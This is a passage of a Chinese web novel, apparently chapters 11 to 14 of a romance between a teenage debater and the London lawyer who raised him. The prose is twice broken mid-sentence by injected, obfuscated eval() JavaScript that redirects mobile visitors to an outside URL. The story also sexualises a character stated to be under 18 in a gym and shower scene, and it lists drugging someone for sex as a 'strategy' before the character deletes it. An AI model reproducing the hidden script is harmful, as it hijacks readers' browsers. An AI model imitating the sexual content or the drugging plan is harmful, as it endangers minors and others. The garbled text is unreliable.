一方面,他嫉妒得发狂,只要想到陈玦可能和别人亲密,以后他的生命中自己的存在会慢慢变得不重要了,他就控制不住地难过。但另一方面……如果陈玦真的喜欢男生,是不是意味着自己也有那么一点点希望? 说不定英国风水有问题,陈玦去了,就莫名其妙被改造成Gay了呢? 这不是没可能的。 这个想法像一颗种子,在他心里生根发芽。 亚太青年的辩论赛中,顾思意大放异彩。 他的英文流利而准确,论证环环相扣,逻辑严丝合缝,即使面对年长很多的对手也毫不示弱。 最后一轮辩题是关于司法改革的,他站在台上侃侃而谈,仿佛已经预演无数遍。 “你的风格很像一个人。”评委之一、来自牛津的PPE系的玫院长这样说, “思意。如果你想来牛津读书,”玫院长和蔼地道,“我很乐意给你写推荐信,并且推荐你来辩论社,代表学院比赛。” 那天晚上,顾思意坐在书桌前,仔细算了笔账。 在妈妈的努力下,家里的情况好转了很多,这几年的比赛奖金他都存着,再加上全奖和住校舍的优惠政策,足够支撑两年的生活费。 最后一年的生活费,他可以继续参加辩论赛,或者找份兼职。 一切似乎都在向着某个方向推进。 像注定的一样。 如果去牛津,他能得到最优渥的教育,也能离陈玦更近。也许到了那时,顾思意就不再是那个需要人照顾的小孩,而是一个能和陈玦平等对话的成年人。 律所的办公室里,顾思意后背陷在宽大的黑色真皮沙发里,自己都没意识到自己在看他。 陈玦不是没感觉,但没给他视线。 外面天色渐暗,橘红色的光芒渡在地板上,陈玦收拾文件起身,望向他道:“还有点我回去看,晚上想吃什么?冰箱里还有培根和吐司。” 救命! 顾思意这才回神,连忙说:“别了!我可以回家给你做。”他宁愿饿死。 “虽然伦敦实在没什么好吃的,”陈玦拿上外套,“但也用不上你做饭,浪费时间,去唐人街吧。” 顾思意找了家中餐厅,挺难吃的,一眨眼两百镑没了,陈玦买了单。 唐人街的霓虹灯牌此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221278|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起彼伏,空气里飘着各种中餐的香味。顾思意走在陈玦身边,不自觉地牵住他的袖子,说:“哥哥。” 陈玦回头,问他怎么。 顾思意看着他,慢慢地说:“等我毕业后工作了,我会赚钱养你的。在伦敦当律师很赚钱吧,今天跟你说话那个,是你们律所高级合伙人?我在楼下看见他了,他开R8……” 陈玦低头看了一眼顾思意握住自己的手,顾思意的手掌心很软,这只手也不写字,连茧都没有,陈玦犹豫了下,倒没有挣开:“R8?你说Gordon开的那辆吗,我也有。” 顾思意:“啊?你也有一辆?” 陈玦:“嗯。” 顾思意:“他有的你都有?” 陈玦:“对。” “那他有脚气呢?” “……” 陈玦一只手被他牵着,西装外套搭在另一只手臂上,衬衫袖子微微挽起,露出一截肌肉紧实的胳膊,依稀可见青筋绷紧:“你能不能正常一点?反驳人的毛病能不能改?” 顾思意无辜地说:“可我是辩手,这是我的素养。”接触到他的眼神,顾思意抿嘴,“好吧我正常一点,那你教人做事的毛病能不能改?” 陈玦低下头:“你求着我教你的时候呢?” 顾思意望着他:“我需要你教我的时候我会说 现在不用了。” 陈玦说OK。 顾思意问他:“所以R8在哪,我没看见过啊,你在伦敦还有房产?” 陈玦说是,他确实还有,然后道:“就在家里车库,你没看见么?” “没有,车库不就一辆劳斯莱斯吗?”顾思意说。 “你说的是地上车库,地下还有个车库。” 顾思意:“……” 陈玦上大学的时候和其他留学生一样,有买车和飙车的不良爱好。甚至现在他也会出去跟人家飙车,不是没出过事,他出过一次车祸,因为留疤了所以去纹身了,但还是会这样,不长记性,总做些危险的事来找刺激。 他说:“我没怎么开那辆车,Gordon确实是很好的律师,不过……” 他的声音在嘈杂的街道上显得低。 “不过什么?”顾思意问,“为什么突然提他。” 陈玦顿了顿,觉得还是有必要提醒一下他:“Gordon很早之前就是伦敦法律界的新星,他代理过很多跨国公司的案子,包括布朗家的化工厂案,就是亚伦案的主犯,他父亲的布朗化工厂污染,当时几百名受害者集体起诉,证据确凿,但Gordon通过技巧证明污染与疾病间缺乏直接因果关系,最终为布朗公司赢了诉讼。案子轰动全英,让他在商业辩护领域名声大噪。” 陈玦一口气说完。 “这么牛……”顾思意忍不住赞叹。 陈玦皱眉:“牛什么?” 顾思意马上说:“牛逼轰轰的也不怕天打雷劈!” 听起来Gordon不是什么正义的律师,这点和经常免费做法援的陈玦截然不同。但顾思意的道德底线没那么高,他想自己如果是律师的话,应该不会接这种没底线没良心的案子吧……可不妨碍他觉得擅长利用漏洞的Gordon聪明绝顶。 陈玦似乎看穿了顾思意的想法,充满个人偏见地道:“当时Gordon臭名昭著,主动提出去美国发展,最近被律所挖了回来。虽然Gordon是现在并购领域最好的律师之一,年薪七位数起步,但他并不是什么好人。” 顾思意:“……他是不是好人跟我有什么关系。” 陈玦补充:“他和他的每一任客户调情。” 顾思意眼睛微微睁大:“每一任?如果客户是60岁老头子直男呢?他也调?” 陈玦:“……” 陈玦叹口气:“我只是让你长点眼睛。” 顾思意停下了,意识到他话中有话:“……我眼睛哪里不好?” 陈玦模棱两可地说:“你喜欢什么是你的事,我不会管。” 顾思意知道他要说什么了:“你不会以为我看了他一眼就是喜欢他吧,救命啊,我不是跟你说了我不是Gay吗!我看着就这么像Gay?” 陈玦低头看他挽着自己的手,忍了忍还是没忍住:“像。” 12.Chapter 12 12. 路过的一对女生本来一脸兴奋地在看帅哥,然后注意到两人的样子,来了句:“草,英国的帅哥都是GAY吗。” 陈玦眉心轻轻一皱,现在不仅顾思意像了,还害的他被人误解:“你听见了,把手拿开。” 顾思意松开他,扭头就对那俩中国女生说:“我们不是GAY,我们只是兄弟,关系好而已。” 两个女生“哦哦”两声:“对不起啊。”然后社死地快步离开。 顾思意说完就和陈玦对上了视线,语气故作轻松:“只是像而已,解释一下不就好了,你不要那么敏感。” 陈玦听见刚离开的女生在背后嘀咕:“装的吧,他们骨科吧。” 陈玦真不觉得是自己敏感,而是顾思意不正常,但他不肯承认,陈玦也不再问,他并不想让顾思意难堪,但应该对他保持点距离。 回家后,他独自在书房里办公,抽了几支烟。 这是他烦躁的表现。管了顾思意这么多年,现在又得管他性取向的事了。 顾思意给他的生活带来了不少的困扰。从十一年前开始就是这样。 吴霜和张疏桐关系好,是多年旧友,加上工作原因,张疏桐时常拜访,两家关系走得很近。 陈玦刚开始看顾思意是不那么顺眼的,但他出意外后,陈玦不得不承担起责任,被迫对他百依百顺。 慢慢他发现,顾思意除了黏人得过分,喜欢自作聪明做点傻事,也没什么缺点。 他的存在逐渐变成一种让陈玦觉得舒服的习惯,觉得被他抱没什么,一起睡也没什么,很长一阵子,晚上陈玦看见怀里没长大的少年,软绵绵又沉甸甸的,带着呼吸,身上有香味,他会觉得很安心,觉得他乖乖的,他们之间像家人一样。 但仔细一想,其实顾思意的性取向,在那时候就隐露端倪了,陈玦第一次被他抱着睡觉的时候,非常排斥和不耐,他让顾思意下去,顾思意特别委屈,缩在床角,陈玦翻身没理他。 过了一会儿,顾思意又上来了,从背后抱着陈玦,胳膊瘦瘦的,圈住他的整个背,手心在他的胸口打结。 陈玦忍了又忍,翻过身正对他,低头道:“顾思意,你爸爸是不是不爱你?” “我爸爸很爱我啊。”顾思意不明所以,在黑暗里抱着陈玦的腰:“你身上好暖和,抱一下嘛。” 陈玦眸光漆黑:“那你为什么非要挨着我睡觉,你不是缺爱?你不能回家抱着你爸?你冷不能开空调?” “我爸脚臭。”顾思意说,“我不喜欢那个味道,但我喜欢你的味道。我不冷,我也不开空调……” 顾思意那时也小,他不懂这种非得争取到陈玦全部的目光和心思的情感是什么,是陈玦告诉他的,这是不正当占有欲。 每次陈玦生气,顾思意就会说:“我保证我乖乖的,不会乱动的。” 他睡觉确实很乖,不说梦话,闭着眼的样子相当安静又可爱,脸软得一颗香香的棉花糖,这也是陈玦能忍耐下来的原因。 这样的日复一日,习惯成了很可怕的事。 办公桌上的烟灰缸堆积了七八个烟头,陈玦开窗通风,用电脑查了一些资料,顺便花了会儿时间,分析顾思意在想什么。 他在纸上列出了几个关键变量: 顾思意性取向倾向: 1.观察到的性别偏好指向-男(85%) 2.成长环境与同龄人交往模式(90%) 3.对异性的关注度(<75%) 4.综合概率:≥95% 可能的情感投射对象分析: Gordon类型:混血基因优势/高社会地位/跨文化背景/烂人品;契合度:55%. 但Gordon不在陈玦的考虑范围内。 陈玦是不可能同意让顾思意和Gordon搞在一起的,但如果顾思意强求,陈玦也管不了。 律所里这个“万花丛中过”的代表作,虽然条件完美,但人品和私生活混乱得令人不齿。陈玦在脑海中快速检索着剑桥、牛津、帝国理工等名校里可能的人选,但无一例外都存在致命缺陷。 糟糕的是,现在顾思意对自己有点依赖过度,感情有转化风险。 这种依赖是源自于他的性取向,和两人青梅竹马的感情,还有可能是顾思意见过自己的裸//体,顾思意倒不一定真喜欢自己,他只是见的男人太少了,而且身材好又不是自己的错。 陈玦把目光投向更宏观的分析,顾思意现阶段对自己的过度依赖是否源自: 青少年期情感需求(40%) 异国环境应激反应(35%) 生理冲动因素[好色](30%) 真实情感(?) 理论而言,一旦建立新的情感支点,这种依赖会自然转化,不会发生下一步的变质。 陈玦挑出了好几个人选,最后又划掉。 如果进行无罪推论,或许他还有百分之五的概率搞错了。 陈玦将纸丢进了碎纸机,决定抽空带顾思意去趟健身房,多见点半//裸的肌肉男。 随即陈玦打开手机搜索:#伦敦哪个健身房猛男多?# 咔擦咔擦的声音里,顾思意在阁楼侧躺着,打开了一个加密的笔记本: 陈玦深柜概率评估模型: 1.恐同表现强度与潜在倾向的相关性(+15%) 2.感情经历分析(+1%) 3.对某些性别气质的排斥程度(+9%) -总计:25% 要想在不惹陈玦讨厌的情况下,最大限度触碰他的底线,顾思意有以下几个突破策略评估: A. 酒后情景(风险系数:65%,成功率:30%) -双方醉酒,我可以装醉,这样我做什么都会被原谅的。 B. 需求诱导(风险系数:45%,成功率:40%) -陈玦单身。男人精虫上脑的时候,什么事都做得出来。 C. 第三方介入(风险系数:85%,成功率:15%) -雇人勾引陈玦,掰弯他,我再佯装惊讶,略施小计取而代之。 D.下药引导(风险系数:40%,成功率:50%) -睡是睡到了,睡完了麻烦就大了,搞不好陈玦要报警抓我。 顾思意在每个方案后面都加了详细的利弊分析,甚至列出了具体的执行步骤和应急预案。 …… 最后,顾思意长按删除键,全删掉了,他将后脑勺用力在床头软包上撞了几下。 他很少在一件事上找不到最优解,但这就是一件无解的事。 周六上午。 顾思意坐在麦当劳二楼靠窗的位置,一边看资料一边等陈玦。 对面咖啡厅里,陈玦正在和当事人亚伦谈话。 案子下周三就要第三次开庭了。透过玻璃窗,顾思意能看见陈玦今天穿了件米色高领毛衣,脸帅得没边。 他的当事人看起来很年轻,和顾思意差不多大。 亚伦低着头,肩膀微微发抖,似乎在哭。< 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“早就吃完了……”顾思意抬头,尽力隐藏内心的情绪,不经意地问,“是不是新证人的问题?我听见你打电话,是证人突然反悔了吗?” 陈玦语气平静,带他出去,说:“证人药检结果有问题,听证会没通过,但没关系。” 顾思意忍不住提高音量:“所以你是因为感觉帮不上亚伦了,才会抱他吗?” 陈玦闻言转头,视线落在顾思意脸上。 顾思意看着他,两人目光短暂接触,顾思意先躲避开了,望向侧边车流。 陈玦摘下领口墨镜戴上,平静地出声:“为什么这么说。” 顾思意顿了顿,声音低下来:“因为你很讨厌别人碰你,你说过的。但你的当事人却可以……” “他?”陈玦解释,“亚伦独自在异国他乡求学,打工度日,现在遭遇了这种事。他很无助。” 闻言,顾思意的小心眼根本不受控制:“我知道他不容易……我知道他很可怜,可是抱你是我的特权,他只是你的当事人……你没有必要那样安慰他……” 陈玦停下脚步:“思意,你是我弟弟。” 陈玦的眼神完全笼罩在茶褐色墨镜背后,看不清晰,他看见顾思意垂着睫毛,轻轻颤动,眼睛雾蒙蒙的。 陈玦心脏微妙地一抽。 他并不喜欢看顾思意不开心的样子。 “你忽略了一件事,我们不是亲兄弟,要是亲的也好。”顾思意自嘲地一笑,“我也忽略了一件事,你不是我的所有物,对不起,我太任性了……可是我花了那么多年,你才对我稍微亲密一些,为什么你当事人可以随随便便做到,只因为……” 顾思意说不出来后面的话,因为听起来他嫉妒心强得离谱,缺乏同理心。 所以顾思意聪明地闭嘴了。 他不想让陈玦觉得自己不懂得同情人。 陈玦没有指责,低头看他的表情说:“亚伦只是抱我一下,你就这么不高兴了?为什么?” “没有不高兴,没有为什么,我青春期,我叛逆,我自私。”顾思意也低着头,却忍不住用力踹了一脚垃圾桶旁边的易拉罐,铝罐滚了几圈,撞击出清脆的金属声,然后顾思意甩开他快步前走,不愿让他看见自己的表情。 刚走了两步,就被陈玦一把拽住了手腕。 顾思意听见他低沉的声音:“那现在要抱吗?” 13.Chapter 13 Chapter 13 顾思意听愣了,猛地回过头。 相比起他的反应,陈玦看起来要平静得多,墨镜遮住了眼底的大部分情绪。 如果抱一下就能解决问题,陈玦觉得没什么,又不是没抱过,从小抱到大,陈玦不认为存在什么暗示。 顾思意注视他几秒钟,低头看他攥住自己的手。 陈玦手掌宽大,骨节分明,力道给的不重,却能稳稳拖住顾思意,让他移动不了半分。 顾思意抿唇说:“对不起哥哥,我知道亚伦需要帮助,他也需要安慰,我不是没有同情心的人。”他先为自己的行为道歉,再想办法解释,“我只是有点不安,学习压力很大,我在学校没有什么朋友,你是我在这里唯一的……” 顾思意抬起头来:“朋友。” “你没有哪里对不起我,你年纪还小。”陈玦稍稍弯腰,将他拉近。顾思意能感觉到陈玦身上传来的温度,感受到西装布料下结实充满力量感的肌肉, 他的呼吸有些发抖,心脏砰砰直跳得像要从胸腔里蹦出来,整个人都软了下来。 他闭着眼睛,脸颊贴着陈玦的颈窝,贪婪地呼吸着对方身上清冽的气息。陈玦的怀抱温暖而坚实,顾思意觉得自己快要溺死在这个拥抱里了。 要是可以一直这样就好了。 顾思意没有反驳他说自己年纪小这件事,声音闷在他的胸口:“……你能不能答应我一件事?” 陈玦低头:“什么?” “以后不要让你的当事人抱你了。”顾思意把脸埋得更深,用牙齿轻轻地咬他的外套毛呢布料,鼻尖酸酸的,“这是我的特权。” 他感觉到陈玦沉默了下,说:“好。” 顾思意抬起头来,有点执拗地说:“是我的。” 陈玦对上了他黑白分明的眼睛,微微颤抖的睫毛,有点想叹气:“好……是你的,下次我不让当事人做超过工作范围的事了。” 顾思意点点头:“那你答应我了,谢谢你。” 陈玦大掌拍了拍他的后脑勺,而后轻轻地推开他,牵着他的手腕绕开了前面摇晃走来的流浪汉。 他知道顾思意不对劲,也知道这样不好,但顾思意只是感情观不成熟,年纪小没长大而已。以后多见点人就不会误把亲情当做更深的感情了。 “走吧。”陈玦换了话题,“你刚才在练辩论?比赛难吗?要不要我晚上陪你训练?” 顾思意想说不难,但他确实有点焦虑比赛的事,陈玦能陪他练习再好不过了。 “是有点难……”他小声说,“我们可以一起练习吗?” “你的技巧已经很好了,比赛的时候气势也好,评委们都显然很喜欢你。”他的目光落在顾思意脸上。 “你怎么知道?”顾思意反应过来,“等等,你看了我的比赛视频?” “看了。”陈玦说,“怎么?” 顾思意想起自己只拿了个第二,说:“英辩和中辩很不一样。” 他抬眼,对上陈玦墨镜后漆黑的眸子:“我总担心抽到政治话题。如果没有时间提前准备,十五分钟写稿,这点时间不够我思考……”他害怕自己会因为知识储备的不足而在辩论赛上丢人,他虽然不说,可压力非常大,前所未有的大,想暴饮暴食解个压,又怕长胖,连食欲都得压制着,整个人像鞭炮一样易燃易爆。他是聪明,但在天才遍地的名校,算不得什么。 所以他这段时间除了上课就是学习和看书,和陈玦聊天的时间都不多。 “会适应的,”陈玦道,“辩论最迷人的地方不在于结果,而在于思维的碰撞。真理可能是相对的,但逻辑永远是严谨的。” 顾思意嗯了一声,陈玦说话总有一股特别的道理,他从小就喜欢听,虽然有时候说话难听了点,但顾思意也习惯了。 第二天雨停了,陈玦履行了一开始的计划,把顾思意带去了一家据说很多猛男、开在中心位置所以客户质量很好的健身房。另外陈玦还特意提前预约了一个长得很帅有点像Gordon的猛男私教给顾思意,然后加了一笔让人无法拒绝的金额让私教带顾思意去小房间训练,要求他不穿上衣,同时正规训练。 但顾思意什么都不知道,到健身房的时候他还有点疑惑:“切尔西不就有健身房吗,你之前去的那个关门了?怎么跑这么远的。” 陈玦:“这边有保龄球场,我约了人等下打球。” “哦。”顾思意并未怀疑什么。 陈玦带他进了电梯,上楼道:“我帮你约了私教,你体力太差了,支撑不了你高强度的学习。” “啊?好吧。”顾思意没什么意见,他不是不爱锻炼,只是没什么时间。 但刚一推门进了健身房,顾思意立刻就感觉不对劲了。 门后传来的首先是一股干净却荷尔蒙爆棚的气味,掺杂着雄性汗水与若有若无的古龙香水味扑面而来。 穿着紧身运动背心的年轻男人们来来往往,肌肉线条遒结分明,肤色深浅各异,但无一例外都充满力量感与视觉冲击—— “我草。”顾思意倒吸口气。 各种健身器械与镜面墙之间,男人们或仰卧推举,或深蹲弯腰,发力时低沉的喘息声与哑铃碰撞声此起彼伏。更关键的是,这里男性之间的视线交换并不遮掩,大方得有些肆意,让整间健身房的气氛隐隐弥漫着一股难以言说的暧昧。 顾思意只扫了一眼,就感觉耳尖迅速发烫,整个人的感官都变得异常敏锐。他下意识地后退半步,差点撞到陈玦身上。 陈玦从身后扶住他的肩膀,低头在他耳边冷静道:“怎么了?” 顾思意眼睛都睁大了,抬首:“……全是男的,这儿不对吧?” 不止全是男的,雷达还告诉他,这里差不多全是Gay,简直像个荷尔蒙养殖场!穿成这样,和在他面前放片有什么区别?! 陈玦轻描淡写:“哪里不对?健身房男的多点你觉得不正常?还是你不喜欢?” 话音刚落,一名高挑壮硕、穿着紧身背心的英俊私教向他们走来,腹肌清晰可见,肌肉线条如流水一般流畅优美。 “你好,Nathan?我是你今天的私人教练,”对方微笑着伸出手,“准备好了么?我们从热身开始。” 顾思意僵硬地点点头,脑子有些晕眩地转过身时,陈玦在低头看手表:“我客户在楼上,先过去打球了,练完给我打电话。先走了。” 陈玦说完就走,他对这里也不太适应,基佬味太冲了有点犯恶心了,他只想赶快走。 但陈玦并不是那么放心把顾思意单独放这儿,所以他提前要求私教戴了摄像头,免得发生什么不可控的事。 他想让顾思意见点世面,多看点肉//体,别对自己抱着不成熟、不切实际的想法了。 然而陈玦一离开他进了电梯,就有些后悔。 因为那些Gay看起来不是那么地干净。 如果顾思意喜欢上某一个,和对方发生关系怎么办? 顾思意还有两三个月才成年。 陈玦立马意识到自己的行为可能会造成不可挽回的后果,正犹豫要不要返回监督,电梯到了。 门一打开,三个高大的保镖正严肃地站在门口盯着他。 陈玦低头打开手机看了眼监控视频。 视频里,顾思意正在训练,看起来并无异常,但那名教练已经脱了背心,只穿着一条堪比内裤的黑色短裤,腿部肌肉线条清晰可见,裤子下面粗壮的轮廓甚至也非常明显。 他正贴身辅助顾思意进行训练,顾思意看起来有些紧张,脸非常红。 陈玦皱了皱眉,手指无意识地敲击着手机屏幕,心里渐渐浮起一丝焦躁。虽然明知那是自己要求的、正常的训练,但他就是感到不舒服。 面前的保镖双手放在身前,盯着他说:“陈律师,我们老板在等。” 陈玦无法再离开,因为电梯直接到了顶楼的保龄球场,而他约的人——老布朗正坐在场地的沙发上,悠然自得地点燃一支雪茄。 陈玦被保镖请过去坐下。 老布朗咬着雪茄,起身从保镖手中接过黑色的保龄球。球在他手中顺势挥出,动作精准有力地划出一道弧线,重重地砸向球道。 看见全中,老布朗满意地背对着他缓缓开口:“陈律师,说吧,你想要多少?” 陈玦:“要什么,钱我有的是。” 他还赶时间,所以开门见山,直接亮出手机里存的一段视频画面:“布朗先生,我最近收到了一些有趣的东西。” 屏幕上,是老布朗和一名女人不堪入目的画面。 老布朗脸色骤变,目光转为阴鸷。 陈玦声线冰冷:“IPO上市在即,你妻子拥有集团百分之十五的股份,出轨和离婚诉讼的丑闻能让你损失惨重。”他顿了顿,直线型的睫毛在眼尾锋利地投下阴影,“另外,你干预我证人的药检结果,我相信你知道这在英国是重罪。你认识法官,我也认识大法官,而伦敦现任检察官就在我们隔壁打球,他儿子是我好朋友,我想他会对这个案子感兴趣的。” 老布朗夹着雪茄的手轻微地颤抖了一下,冷笑:“你在勒索我?” 陈玦面不改色:“很显然,是威胁。” 老布朗放下雪茄:“你到底想要什么?” “我要你的小儿子认罪。离亚伦、离我和我的家人都远一点。”陈玦直视他的眼睛,右腿搭在左腿上,修长手指抚触冰冷的腕表带,“我不喜欢浪费时间,更不喜欢讨价还价。” 老布朗咬紧牙关,眼神危险道:“是我以前低估了你。” 陈玦微微一笑,不置可否。 在布朗对他调查中,陈玦这个律师年轻得不起眼,优秀的学历,但在这个连协调员都是牛津毕业的顶尖律所里,没什么了不起,况且他还查到陈玦是个正义得有些愚蠢的律师,和那些名校的年轻呆瓜们没什么区别,所以老布朗从来没想过,他竟然会用勒索这样的手段! 老布朗怒意翻涌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231453|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气危险地道:“你知道你在和谁作对吗?” 陈玦淡然地回望他:“知道得很清楚。” 老布朗盯着陈玦沉默良久,指节因为用力而微微泛白。他的内心显然进行着艰难的权衡,集团是他的命,而他除了一个不争气的小儿子,膝下还有好几个孩子。 半晌,老布朗狠狠地掐灭了手中的雪茄,盯着陈玦:“好,我答应你。” 陈玦整理西服并起身,没和他握手,嘴角牵出没有笑意的笑:“布朗先生,下周三法庭见,我赶时间,先走一步,抱歉。” 他大步离开保龄球馆,按电梯的手透出几分急躁。 监控画面里,顾思意有些僵硬地躺在长凳上,肩背抵着椅子边缘,膝盖弯曲,脚掌踩地。 “Nathan,髋部再往上推一点,”男教练耐心地指导,气泡音很低沉,“臀大肌要收紧。” 顾思意照做了,可当杠铃的重量再次压下来时,他却不由得脸色发烫。 他隐约觉得这个动作哪里怪怪的,教练虽然脱掉上衣露出块块分明的腹肌,但训练内容还是非常正规的,没有任何不合适的举动,只是每次教练贴近调整动作时,顾思意总能感觉到对方坚硬的腿部线条正紧贴着自己的身体,或者是手掌,会轻抚他的皮肤,让他格外局促。 健身房里其他人正在进行激烈训练,男人们低沉压抑的喘息声此起彼伏,伴着哑铃碰撞的声音,这样的氛围让顾思意的呼吸都开始变得紊乱,整个人的心跳都有点不听话了,思维跳跃着浮想联翩……陈玦他到底要干嘛,居然带自己来这里训练,然后自己走了。 他默念着让自己冷静下来,但当教练又一次弯腰贴近他,示范正确的臀桥姿势时,有意无意顶他那下,让顾思意终于忍不住,面色倏忽一变。 糟糕。 顾思意立刻停下,扯过身边的毛巾遮住自己,下意识地往后退了一步。脸红得发烫。 “Nathan,你还好吗?”教练不解地看向他。 “没。没事,我……我有点累,稍微休息一下……我,不能练了,尿急!”顾思意紧张地说着,抓着毛巾起身,“卫生间在哪里?” 就在这时,训练室的门被推开,陈玦高大的身影出现在门口。他扫了一眼训练区域,瞬间捕捉到顾思意的慌张,少年浑身上下红得像一只刚煮熟的小龙虾,用毛巾紧张地遮住自己的身体,求助似地朝他投来一记眼神。 陈玦一看就知道怎么回事,目的是达到了……但,却没有什么解脱的情绪,反而觉得不舒服。 他沉下脸色大步过去:“今天就到这里。” 教练抬头看了眼陈玦,意识到不妙,连忙退到一边。 陈玦直接脱下西装外套,披在顾思意肩膀。顾思意也忙攥住西服下摆,陈玦身材高,外套隐约能遮住他那不自然的反应。 陈玦低头瞄了眼,声音沉:“要去卫生间?” 顾思意难堪低头,眼泪好像都快冒出来:“嗯……我不知道在哪。” “那边。”陈玦牵着他过去,顾思意抬头望向他穿着马甲的宽阔后背线条,稳定的、牵着自己的手掌……这下整的他反应愈发强烈了,腿软得几乎走不动,满脑子都是旁边健身猛男们的喘息声……要是陈玦在他身上这样喘…… 顾思意想想简直要炸了! 他没遇到过这么难堪的事。 陈玦带他进了卫生间,可刚推门就看见两个男的在墙上压着接吻,旁若无人地互相抚摸,发出糟糕的声响,听见开门声甚至没停。陈玦一愣,马上转头看顾思意,顾思意也十分无助地拉着他的手,局促地摇摇头。 陈玦当机立断:“回车上,能坚持到回家吗?” 顾思意小幅度地点头,又突然想到回家要半小时,平时忍忍也就算了,现在陈玦在旁边他还怎么忍,他不想在车上当着司机的面那么丢那么大的脸,感觉会被当成别人茶余饭后的奇葩谈资。 顾思意忙摇头拒绝:“不要!我不要在车上……我坚持不了。” 陈玦看他脸红得像熟苹果,眼睛里满是水光,知道他不好受。也不免后悔起自己糟糕的决定。 因为他不知道顾思意定力居然这么差。他看了监控,那健身教练起初还好,后面做得有点擦边,已经超过了他一开始的要求。 陈玦右手攥着他汗湿的手心,左手推开浴室门,找了个没人的单间,侧头:“自己解决?” “嗯。”顾思意点点头就钻进去了,隔着一扇磨砂玻璃,陈玦很快听见花洒声,夹杂着不明显的……近乎听不见的轻喘声。 陈玦的喉结轻轻地动了一下,下颌绷紧。 然后他听见,顾思意喊了他的名字,一声压抑的:“陈玦……” 水流似乎蔓延出来,流到了陈玦的皮鞋底下,湿淋淋的水渍蜿蜒。 隔间里的顾思意有点不安,关了花洒,一瞬寂静中出声:“你还在吗?” 陈玦斜靠在黑色大理石的墙边,西裤也不知为何绷了起来:“……在。” 14. Chapter 14 Chapter 14 陈玦说:“我去抽根烟,你弄完出来找我。” “好……”顾思意没告诉他自己已经完了,就快的有点太快了……因为他太紧张了。 “那你抽完烟能不能帮我去取下我衣服?”他拉开磨砂门,把手腕伸出去给陈玦,“我身上全湿了,你帮我取下手环。” 他衣服弄湿了,还好是特意带的健身服,干衣在柜子里。 陈玦低头看见顾思意露出一截湿润白皙的手腕,指节都是发粉的,给他取手环的时候,顾思意手指微微蜷缩,隔着门缝隐约可见一片干净的皮肤。 随即顾思意很快把手缩了回去,门再次关上。 等两人都调整好,回到车上,已经是半小时后的事了,陈玦打开车窗抽烟,顾思意没吹两分钟头发,黑色发丝还有点湿润地贴着脸颊。 他瞥向身侧的陈玦:“你烟瘾是不是有点重?” “难闻吗?”他直接掐灭了。 顾思意摇头,说不在意,陈玦上高中时在外面抽烟就经常被他逮住,陈玦会叮嘱他让他别告状,顾思意有样学样,结果被呛得不行,再也不敢碰。 又过了几分钟,顾思意开口:“哥,那个健身房不正经吧。” 陈玦:“不清楚。” 顾思意憋了憋,碍于车上还有个懂中文的司机,他忍住了没有说出来。 他打开手机,在车上一直狂搜那家健身房,顺便思考陈玦的目的。 一回家,顾思意就问他了:“我搜了,这家健身房是个著名的同性恋聚集场所。你为什么会带我来这种地方?” 陈玦解开马甲:“我以为你需要。” “……我需要什么?”顾思意把背包丢在地毯上。 陈玦抬眸对上他睁圆的眼睛,启唇道:“你的青春期荷尔蒙有点太旺盛了。” 顾思意嘴角一抽:“你想暗示我什么?我没听懂。我哪里旺盛,我在你家住这么久,没悄悄撸过吧?” 其实是有过的,但是是陈玦不在家的时候,他确定陈玦不知道。 陈玦沉默了两秒,抬手按压眉心:“思意,你希望我怎么说?让你承认一些你不愿意承认的事吗?”陈玦脱下马甲丢在沙发上,条纹衬衫的后背心有汗,“这没必要。” “我没有不愿意承认。”顾思意跟了上去,“哥,你的动机太奇怪了,那种地方和鸭店有什么区别?为什么要带我过去,你之前去过吗?” “当然没有。”陈玦现在思想也已经够乱了,听见顾思意在浴室的声音让他一瞬间起反应这种事,让他觉得坏了,他自己的荷尔蒙也有点失控了。 所以陈玦径直走上楼梯,却听顾思意还在背后追问:“为什么带我去你一次都没去过的健身房,还给我找了私教,你的目的是什么?” 陈玦不堪其扰,停下脚步:“你不喜欢?” “……我不喜欢,”顾思意板着脸说,“我不喜欢试探。” 陈玦转过身,因为台阶比他高两级,睫毛阴影长长的影子落在脸上,神态完全是居高临下的:“我也不喜欢。” 两人对视,顾思意的视线近乎执拗。 陈玦说:“你搞清楚是谁先开始试探的。” 顾思意有点退缩了,但还嘴硬:“不是你吗?我……你说试探你什么了?” 陈玦回答:“试探我能不能接受你的毛病。” “我能有什么毛病……”顾思意声音都弱下去了,他望着陈玦站在黑色阴影里,表情晦暗不明,像审判一样。顾思意的嘴唇抿紧了,低声说:“你不要搞歧视那一套。” 陈玦声音很平:“我没有歧视你,”说完就没再看他,继续上楼梯。陈玦单手解开衬衫纽扣,嗓音透着沙哑:“太累了,我去冲个澡,有什么晚上再说。你自己好好想想。” 望见他背影消失,顾思意沮丧地倒在沙发上抓自己头发。这很明显,陈玦对他性取向的事有定论了,但始终没有开诚布公地说。他好像没有讨厌自己的样子……这很好,但,这什么态度也太莫名其妙了。 恐同直男发现弟弟性取向不对,不是带他去看心理医生,居然是带他去基佬健身房?? 顾思意都想发帖问问了。 他想破脑袋都想不通陈玦是什么目的,准备刺激他让他瞒不住然后自己说出来吗?还是想找人给他开荤??还是打算让他看见一群恐怖的Gay从而产生恐同心理? 陈玦什么脑回路啊!顾思意瞬间觉得自己似乎也没那么了解这个男的了。 